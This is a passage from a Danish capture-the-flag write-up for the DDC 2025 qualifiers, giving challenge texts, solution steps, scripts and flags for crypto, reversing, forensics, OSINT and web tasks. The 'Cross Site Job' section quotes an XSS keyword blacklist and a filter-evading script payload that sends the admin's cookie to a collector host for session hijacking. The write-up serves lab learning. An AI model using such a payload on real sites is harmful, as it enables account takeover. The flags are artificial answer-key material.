</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">enc_bytes</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">rstrip</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\x10</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span>
</span></span></code></pre></div><p>Flag: <code>DDC{S3cr3t_C0d3}</code></p>
<hr>
<h3 id="find-frontdoor">Find Frontdoor</h3>
<p>Vi har alle hørt om en bagdør… men har du nogensinde hørt om en fordør? 🤔</p>
<p>Hackere bruger bagdøre til at snige sig ind i systemer, men hvad nu hvis nogen bare efterlod hoveddøren vidt åben? 😲</p>
<p>I denne udfordring skal du ikke knække nogen avanceret kryptering eller brute-force adgangskoder - nej nej, nogen har allerede gjort arbejdet for dig! Måske er det en glemt debug-funktion? Måske en udvikler, der havde en dårlig dag?</p>
<p>Uanset hvad, så er spørgsmålet: Kan du finde fordøren… før nogen andre gør det? 🔓😈</p>
<p>Tjek udfordringen ud på:</p>
<blockquote>
<p>findfrontdoor.hkn:8080</p>
</blockquote>
<p><strong>Løsning:</strong> Flaget kan ses i plaintext i source code.</p>
<p>Flag: <code>DDC{Fr0ntD00r_0p3n_F0r_Bu5in3ss}</code></p>
<hr>
<h3 id="read-the-rules">Read the rules</h3>
<p>Velkommen til DDC 2025!</p>
<p>Nogle opgaver har en online del på en adresse, der ender på .hkn. Disse skal tilgås fra platformen Campfire Labs.</p>
<p>Start med at oprette en konto og start et browser lab. Start så opgaven read the rules og gå så til readtherules.hkn inde i browser labbet for at finde første del af flaget samt instruktioner til resten!</p>
<p>Held og lykke med dit første flag!!!</p>
<p><strong>Løsning:</strong> Første halvdel af flaget findes på readtherules.hkn - Anden halvden af flaget kan findes under FAQ på <a href="https://junior.cybermesterskaberne.dk/tos">https://junior.cybermesterskaberne.dk/tos</a></p>
<p>Flag: <code>DDC{R34D_7H3_RUL3Z_0R_G37_Y3373D}</code></p>
<hr>
<h3 id="efterforskningen">Efterforskningen</h3>
<p>PET har i samarbejde med NSA fortaget en længevarende efterforskning af den verdenskendte hacker Fin B. PET foretog i fredags en razzia på Fin B&rsquo;s bopæl, hvor de fandt en computer. Da de åbnede computeren, fandt de ikke noget. De mistænker Fin B for at have slettet alle hans filer før deres ankomst. PET har derfor brug for din hjælp! De vil have dig til at gennemsøge de vigtigste dele af hans computer, såsom root. Så find dine bedste redskaber frem, og find de slettede dokumenter.</p>
<p><a href="/ddc_qual_2025/forensics/forensics_Efterforskningen.zip">Handout (Efterforskningen.zip)</a></p>
<p><strong>Løsning:</strong> Ved at mounte .img filen på vores ejet system finder vi flaget i <code>/root/.bash_history</code>.</p>
<p>Flag: <code>DDC{just_go_away}</code></p>
<hr>
<h3 id="straba">Straba</h3>
<p>Vi er på udkig efter nogle soldater som er fra den fjendtlige styrke. Vi har fået et tip om at de bruger straba til at poste deres løb. Straba har dog en politik om at udlevere 0 information og vi må derfor se om vi kan finde noget selv. Gå ind på straba.hkn og se om du kan finde noget i billederne. Flaget er navnet på byen ved den militærbase, som de er ved.</p>
<p>Eksempel på flag: <code>DDC{odense}</code></p>
<blockquote>
<p>straba.hkn</p>
</blockquote>
<p><strong>Løsning:</strong> På hjemmesiden ser vi et par posts med billeder, hvis man henter det første billede og bruger <code>exiftool</code> finder man coordinaterne til det sted hvor billet er taget.</p>
<p>Flag: <code>DDC{skrydstrup}</code></p>
<hr>
<h3 id="outxorcing">outXORcing</h3>
<p>Jeg udvikler kun flotte brugergrænseflader, så jeg outsourcede access control til en backend udvikler (Den inverse af mig). Kan du tjekke om det er sikkert for mig?</p>
<p>P.S min backend udvikler siger at <code>objdump -d -S</code> er strengt forbudt og at ingen bruger Ghidra mere.</p>
<p><a href="/ddc_qual_2025/rev/reveng_outXORcing.zip">Handout (outXORcing.zip)</a></p>
<p><strong>Løsning:</strong> Ved at uploade <code>access-control</code> til <a href="https://dogbolt.org/">https://dogbolt.org/</a> kan vi under BinaryNinja se <code>__builtin_strncpy(&amp;key, &quot;jens_myrup&quot;, 0xb);</code> samt <code>__builtin_memcpy(&amp;FLAG, &quot;\x2e\x21\x2d\x08\x27\x5d\x0b\x2d\x1c\x03\x35\x17\x5d\x05\x6c\x1f\x0a\x1b\x17\x1c\x59\x18&quot;, 0x16);</code></p>
<p>Med lidt hjælp fra CyberChef kan vi finde flaget. Recipen er From Hex og XOR hvor key er <code>jens_myrup</code> som UTF8. <a href="https://cyberchef.org/#recipe=From_Hex('Auto')XOR(%7B'option':'UTF8','string':'jens_myrup'%7D,'Standard',false)&amp;input=XHgyZVx4MjFceDJkXHgwOFx4MjdceDVkXHgwYlx4MmRceDFjXHgwM1x4MzVceDE3XHg1ZFx4MDVceDZjXHgxZlx4MGFceDFiXHgxN1x4MWNceDU5XHgxOA">Link til CyberChef recipe</a></p>
<p>Flag: <code>DDC{x0r_is_r3v3rsibl3}</code></p>
<hr>
<h3 id="vigeneres-dictionary">Vigeneres dictionary</h3>
<p>En mere avanceret substitutionschiffer er Vignere chiffer, hvor en længere nøgle bruges til at forhindre brute force angreb.
Nøglen var valgt fra en ordbog på dansk, så den var let at huske.</p>
<p>Det krypterede flag er på dansk, kan man dekryptere det selvom det er meget kort?</p>
<p>Husk at lægge resultatet ind i flagformatet: <code>ddc eksempel flag</code> → <code>DDC{eksempel_flag}</code></p>
<p><a href="/ddc_qual_2025/crypto/crypto_vigedict.zip">Handout (vigedict.zip)</a></p>
<p><strong>Løsning:</strong> Siden der bliver talt så meget om dictionary og ordbøger, og vi har en liste af danske ord skal vi nok lave et dictionary attack. Dette kan gøres med python:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">string</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Same alphabet as in the encryption script</span>
</span></span><span class="line"><span class="cl"><span class="n">alphabet</span> <span class="o">=</span> <span class="s1">&#39;abcdefghijklmnopqrstuvwxyzæøå&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">clean_input</span><span class="p">(</span><span class="n">text</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">text</span> <span class="o">=</span> <span class="n">text</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">tmp</span> <span class="o">=</span> <span class="p">[</span><span class="n">c</span> <span class="k">if</span> <span class="n">c</span> <span class="ow">in</span> <span class="p">(</span><span class="n">alphabet</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">whitespace</span><span class="p">)</span> <span class="k">else</span> <span class="s1">&#39;&#39;</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">text</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">tmp2</span> <span class="o">=</span> <span class="p">[</span><span class="n">c</span> <span class="k">if</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">alphabet</span> <span class="k">else</span> <span class="s2">&#34; &#34;</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">tmp</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">tmp2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">subtract</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">a</span> <span class="ow">in</span> <span class="n">string</span><span class="o">.</span><span class="n">whitespace</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">a</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">alphabet</span><span class="p">[(</span><span class="n">alphabet</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">-</span> <span class="n">alphabet</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="n">b</span><span class="p">))</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">alphabet</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">vigenere_decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">ciphertext</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">plaintext</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">        <span class="n">plaintext</span> <span class="o">+=</span> <span class="n">subtract</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)])</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">plaintext</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">load_danish_words</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">words</span> <span class="o">=</span> <span class="nb">set</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s1">&#39;r&#39;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">                <span class="n">word</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span><span class="o">.</span><span class="n">lower</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">word</span><span class="p">)</span> <span class="o">==</span> <span class="mi">9</span> <span class="ow">and</span> <span class="nb">all</span><span class="p">(</span><span class="n">c</span> <span class="ow">in</span> <span class="n">alphabet</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">word</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                    <span class="n">words</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">word</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">FileNotFoundError</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Warning: Could not find </span><span class="si">{</span><span class="n">filename</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">words</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;encryption.txt&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">ciphertext</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ciphertext</span> <span class="o">=</span> <span class="n">clean_input</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Cleaned ciphertext: </span><span class="si">{</span><span class="n">ciphertext</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">danish_words</span> <span class="o">=</span> <span class="n">load_danish_words</span><span class="p">(</span><span class="s1">&#39;danish_dict.txt&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Loaded </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">danish_words</span><span class="p">)</span><span class="si">}</span><span class="s2"> Danish words of length 9&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">danish_words</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">plaintext</span> <span class="o">=</span> <span class="n">vigenere_decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">ciphertext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># Only print results that look promising (contain common Danish words)</span>
</span></span><span class="line"><span class="cl">        <span class="n">common_words</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;og&#39;</span><span class="p">,</span> <span class="s1">&#39;er&#39;</span><span class="p">,</span> <span class="s1">&#39;det&#39;</span><span class="p">,</span> <span class="s1">&#39;den&#39;</span><span class="p">,</span> <span class="s1">&#39;en&#39;</span><span class="p">,</span> <span class="s1">&#39;til&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="nb">any</span><span class="p">(</span><span class="n">word</span> <span class="ow">in</span> <span class="n">plaintext</span><span class="o">.</span><span class="n">split</span><span class="p">()</span> <span class="k">for</span> <span class="n">word</span> <span class="ow">in</span> <span class="n">common_words</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">Key: </span><span class="si">{</span><span class="n">key</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;Decrypted: </span><span class="si">{</span><span class="n">plaintext</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><p><strong>Key:</strong> <code>strækning</code>
<strong>Decrypted:</strong> <code>ddc ordbogsangreb er farlige</code></p>
<p>Flag: <code>DDC{ordbogsangreb_er_farlige}</code></p>
<hr>
<h3 id="binary-encodings1">Binary-Encodings1</h3>
<p>I heard hackers like binary, so I took my flag and binarified it, then scattered it among the primes! Can you reconstruct it from these small numbers, then undo my super cool permutation?</p>
<p><a href="/ddc_qual_2025/crypto/binary-encodings-1.zip">Handout (binary-encodings-1.zip)</a></p>
<p><strong>Løsning:</strong> I denne opgave kan vi bruge <a href="https://en.wikipedia.org/wiki/Chinese_remainder_theorem">Chinese Remainder Theorem</a>, vi kan løse den med et lille python script og de værdier vi fik i filen.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">sympy.ntheory.modular</span> <span class="kn">import</span> <span class="n">crt</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">recover_flag</span><span class="p">(</span><span class="n">p_values</span><span class="p">,</span> <span class="n">f_values</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Solve for x using CRT</span>
</span></span><span class="line"><span class="cl">    <span class="n">x</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">crt</span><span class="p">(</span><span class="n">p_values</span><span class="p">,</span> <span class="n">f_values</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">binary_string</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">x</span><span class="p">)[</span><span class="mi">2</span><span class="p">:])</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">flag_bytes</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">binary_string</span><span class="p">,</span> <span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">flag_bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Given p_i and f_i values</span>
</span></span><span class="line"><span class="cl"><span class="n">p_values</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mi">9768317032740503603</span><span class="p">,</span> <span class="mi">18156330420060477793</span><span class="p">,</span> <span class="mi">10476762262519913959</span><span class="p">,</span> <span class="mi">9347882639404620023</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">11430937203592009097</span><span class="p">,</span> <span class="mi">17656701845837939561</span><span class="p">,</span> <span class="mi">10011069635378637821</span><span class="p">,</span> <span class="mi">9303859140428609923</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">9430685689565848129</span><span class="p">,</span> <span class="mi">17610703349508968921</span><span class="p">,</span> <span class="mi">18140526684492216101</span><span class="p">,</span> <span class="mi">13376315490931891063</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">14024438832046178891</span><span class="p">,</span> <span class="mi">14707324533024715489</span><span class="p">,</span> <span class="mi">9978269176741957331</span><span class="p">,</span> <span class="mi">13426850418503228437</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">17886189966641892589</span><span class="p">,</span> <span class="mi">12567016417937207657</span><span class="p">,</span> <span class="mi">11734576994202379979</span><span class="p">,</span> <span class="mi">18381970530468107443</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">15834975197593730861</span><span class="p">,</span> <span class="mi">11304987454211866601</span><span class="p">,</span> <span class="mi">13069720355679787001</span><span class="p">,</span> <span class="mi">9607164897014498981</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">9825483122269264409</span><span class="p">,</span> <span class="mi">9608454472360228451</span><span class="p">,</span> <span class="mi">11677408947673812151</span><span class="p">,</span> <span class="mi">11577075391109060227</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">15098908071687008909</span><span class="p">,</span> <span class="mi">11940695074819110637</span><span class="p">,</span> <span class="mi">9277500110378312383</span><span class="p">,</span> <span class="mi">11325145340975252239</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">f_values</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mi">9575104083177283048</span><span class="p">,</span> <span class="mi">654829914826964428</span><span class="p">,</span> <span class="mi">8717987845758977868</span><span class="p">,</span> <span class="mi">3299732009405467865</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">10473741261900299814</span><span class="p">,</span> <span class="mi">2405639366022411754</span><span class="p">,</span> <span class="mi">2194862298102476068</span><span class="p">,</span> <span class="mi">6748703991871530302</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">3454422808257998182</span><span class="p">,</span> <span class="mi">13565185375904130809</span><span class="p">,</span> <span class="mi">8709537670581362149</span><span class="p">,</span> <span class="mi">12293453432959068747</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">13229847825294716454</span><span class="p">,</span> <span class="mi">3056173638526417581</span><span class="p">,</span> <span class="mi">65599736668218521</span><span class="p">,</span> <span class="mi">11398473528376442350</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">8576657917939379051</span><span class="p">,</span> <span class="mi">9129425845766533589</span><span class="p">,</span> <span class="mi">8594293513869774248</span><span class="p">,</span> <span class="mi">5775640393641471384</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">349917141893968095</span><span class="p">,</span> <span class="mi">3066029727228120275</span><span class="p">,</span> <span class="mi">5587833707329530308</span><span class="p">,</span> <span class="mi">9401495996680306807</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">8904901928481653836</span><span class="p">,</span> <span class="mi">7591248352665021199</span><span class="p">,</span> <span class="mi">10878696646715348869</span><span class="p">,</span> <span class="mi">10506002541042515302</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mi">4781246273357667663</span><span class="p">,</span> <span class="mi">7834587634360970146</span><span class="p">,</span> <span class="mi">2068533696716192161</span><span class="p">,</span> <span class="mi">6693265025140266855</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">flag</span> <span class="o">=</span> <span class="n">recover_flag</span><span class="p">(</span><span class="n">p_values</span><span class="p">,</span> <span class="n">f_values</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">flag</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p>Flag: <code>DDC{crt_to_the_m0100010110001n}</code></p>
<hr>
<h3 id="cross-site-job">Cross Site Job</h3>
<p>Secure Corp søger nye talenter, og du har chancen for at indsende din ansøgning gennem deres online jobansøgningssystem. Hjemmesiden indeholder en jobansøgningsformular og en administrativ sektion, som kun er tilgængelig for ansatte. Din opgave er at finde en måde at få adgang til denne sektion.</p>
<p>Når din ansøgning er indsendt, vil administratoren straks gennemgå den i sin browser.</p>
<p>(Påmindelse: Challenge-serverne har ikke adgang til internettet, men måske kan du få administratorens browser til at sende en forespørgsel og opfange den ved hjælp af <code>http://webhook.hkn</code>, <code>http.server</code> eller <code>netcat</code>.)</p>
<blockquote>
<p>cross-site-job.hkn</p>
</blockquote>
<p>Source code: <a href="/ddc_qual_2025/web/webexp_cross-site-job.zip">webexp_cross-site-job.zip</a></p>
<p><strong>Løsning:</strong> I app.py kan vi se at der er en blacklist: <code>blacklist = [&quot;&lt;script&quot;, &quot;&lt;img&quot;, &quot;&lt;svg&quot;, &quot;&lt;image&quot;, &quot;&lt;iframe&quot;, &quot;onload&quot;, &quot;onerror&quot;, &quot;document.cookie&quot;]</code>, men siden at html er ligeglad om script tags er med upper og/eller lowercase kan vi lave et script-tag der ser sådan ud: <code>&lt;sCrIpT&gt;</code>. Men blacklisten tillader heller ikke <code>document.cookie</code>, så må vi blive lidt kreative, her kan vi bruge javascript funktionen <code>concat()</code> til at merge 2 strenge sammen.</p>
<p>Nu har vi vores payload vi kan indsende: <code>fullname=aa&amp;email=aaaa%40aaa.com&amp;position=Software+Engineer&amp;coverletter=&lt;sCrIpT&gt;fetch(&quot;http://webhook.hkn/capture?cookie=&quot;.concat(document[&quot;coo&quot;.concat(&quot;kie&quot;)]))&lt;/sCrIpT&gt;</code></p>
<p>På webhook.hkn kan vi se admins cookie, så kan vi ændre vores ejen til den og refresh, flag!</p>
<p>Flag: <code>DDC{c0ngr4tul4t10n5-j0b-w3ll-d0n3}</code></p>
<hr>
<h3 id="complete-styling-sadness">Complete Styling Sadness</h3>
<p>Nogle gange skal ting justeres for at passe perfekt sammen. Se nærmere på strukturen og rækkefølgen – løsningen gemmer sig i detaljerne. Jeg har hørt fra mine venner at CSS er altid svaret.</p>
<p><a href="/ddc_qual_2025/web/CompleteStylingSadness.zip">Handout (CompleteStylingSadness.zip)</a></p>
<p><strong>Løsning:</strong> I css filen kan vi se nogle sjove værdier, efter lidt cleanup &amp; formatering har vi:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">unicodes</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0044</span><span class="p">,</span> <span class="mh">0x0044</span><span class="p">,</span> <span class="mh">0x0043</span><span class="p">,</span> <span class="mh">0x007B</span><span class="p">,</span> <span class="mh">0x0043</span><span class="p">,</span> <span class="mh">0x0035</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0035</span><span class="p">,</span> <span class="mh">0x005F</span><span class="p">,</span> <span class="mh">0x0031</span><span class="p">,</span> <span class="mh">0x0035</span><span class="p">,</span> <span class="mh">0x005F</span><span class="p">,</span> <span class="mh">0x0048</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0034</span><span class="p">,</span> <span class="mh">0x0052</span><span class="p">,</span> <span class="mh">0x0044</span><span class="p">,</span> <span class="mh">0x005F</span><span class="p">,</span> <span class="mh">0x004D</span><span class="p">,</span> <span class="mh">0x0034</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x004E</span><span class="p">,</span> <span class="mh">0x005F</span><span class="p">,</span> <span class="mh">0x0035</span><span class="p">,</span> <span class="mh">0x004B</span><span class="p">,</span> <span class="mh">0x0031</span><span class="p">,</span> <span class="mh">0x0038</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0031</span><span class="p">,</span> <span class="mh">0x0044</span><span class="p">,</span> <span class="mh">0x0031</span><span class="p">,</span> <span class="mh">0x007D</span><span class="p">,</span> <span class="mh">0x0020</span><span class="p">,</span> <span class="mh">0x0020</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0034</span><span class="p">,</span> <span class="mh">0x0034</span><span class="p">,</span> <span class="mh">0x0034</span><span class="p">,</span> <span class="mh">0x0039</span><span class="p">,</span> <span class="mh">0x004B</span><span class="p">,</span> <span class="mh">0x0038</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0042</span><span class="p">,</span> <span class="mh">0x0043</span><span class="p">,</span> <span class="mh">0x0033</span><span class="p">,</span> <span class="mh">0x005A</span><span class="p">,</span> <span class="mh">0x0035</span><span class="p">,</span> <span class="mh">0x0034</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x0043</span><span class="p">,</span> <span class="mh">0x0034</span><span class="p">,</span> <span class="mh">0x0032</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">code</span><span class="p">)</span> <span class="k">for</span> <span class="n">code</span> <span class="ow">in</span> <span class="n">unicodes</span><span class="p">))</span>
</span></span></code></pre></div><p>Flag: <code>DDC{C55_15_H4RD_M4N_5K181D1}</code></p>
<hr>
<h3 id="shutter-trace">Shutter Trace</h3>
<p>Du arbejder i politiets efterforskningsafdeling, og du har modtaget et anonymt spor om en kriminel efterforskning. Din chef delte en mappe med beviserne, din opgave er at afsløre den person, der tog billedet i mappen.</p>
<p>Søg efter <strong>&ldquo;clue.txt&rdquo;</strong> filen i mappen <strong>&ldquo;Clue&rdquo;</strong> for at afdække oplysninger, der guider dig til den korrekte mappe, hvor dette billede er placeret. Du kan også undersøge billedopretteren.</p>
<p><strong>Tips:</strong> Nogle vigtige begreber, du måske vil overveje, er skjulte filer, kodning (base64) og exiftool til billedmetadata.</p>
<p><a href="/ddc_qual_2025/misc/shutter_trace.zip">Handout (shutter_trace.zip)</a></p>
<p><strong>Løsning:</strong> Efter at have extracted mappen kan vi se en hel masse mapper. Men siden vi skal finde <code>clue.txt</code> kan vi bruge <code>find . | grep &quot;clue&quot;</code> som giver <code>./Clue_Folder/.clue.txt</code>. Filen <code>.clue.txt</code> indeholder noget base64, det kan vi dekode: <code>echo &quot;VGhlIHBob3RvIGlzIGhpZGRlbiBpbiB0aGUgRXZpZGVuY2UgRm9sZGVyIGFzIGEganBnIGZpbGU=&quot; | base64 -d</code> dette giver os: <code>The photo is hidden in the Evidence Folder as a jpg file</code>. Som beskrevet i mappen <code>Evidence_Folder</code> finder vi 1 jpg fil blandt alle png filerne, <code>super-market-8494759_1280.jpg</code>. Til sidst kan vi bruge <code>exiftool super-market-8494759_1280.jpg</code> under <code>Creator</code> står flaget.</p>
<p>Flag: <code>DDC{D4n13lss3n}</code></p>
<hr>
<h3 id="long-live-caesar">Long live Caesar</h3>
<p>En af de ældste former for kryptering er Cæsar-chiffer, hvor hvert bogstav forskydes med en hemmelig nøgle. Denne gang har nogen modificeret Cæsar-chiffer ved at bruge multiplikation i stedet for addition.</p>
<p>Kan du dekryptere flaget?</p>
<p>Husk at lægge resultatet ind i flagformatet: <code>ddc eksempel flag</code> → <code>DDC{eksempel_flag}</code></p>
<p><a href="/ddc_qual_2025/crypto/crypto-longlive.zip">Handout (longlive.zip)</a></p>
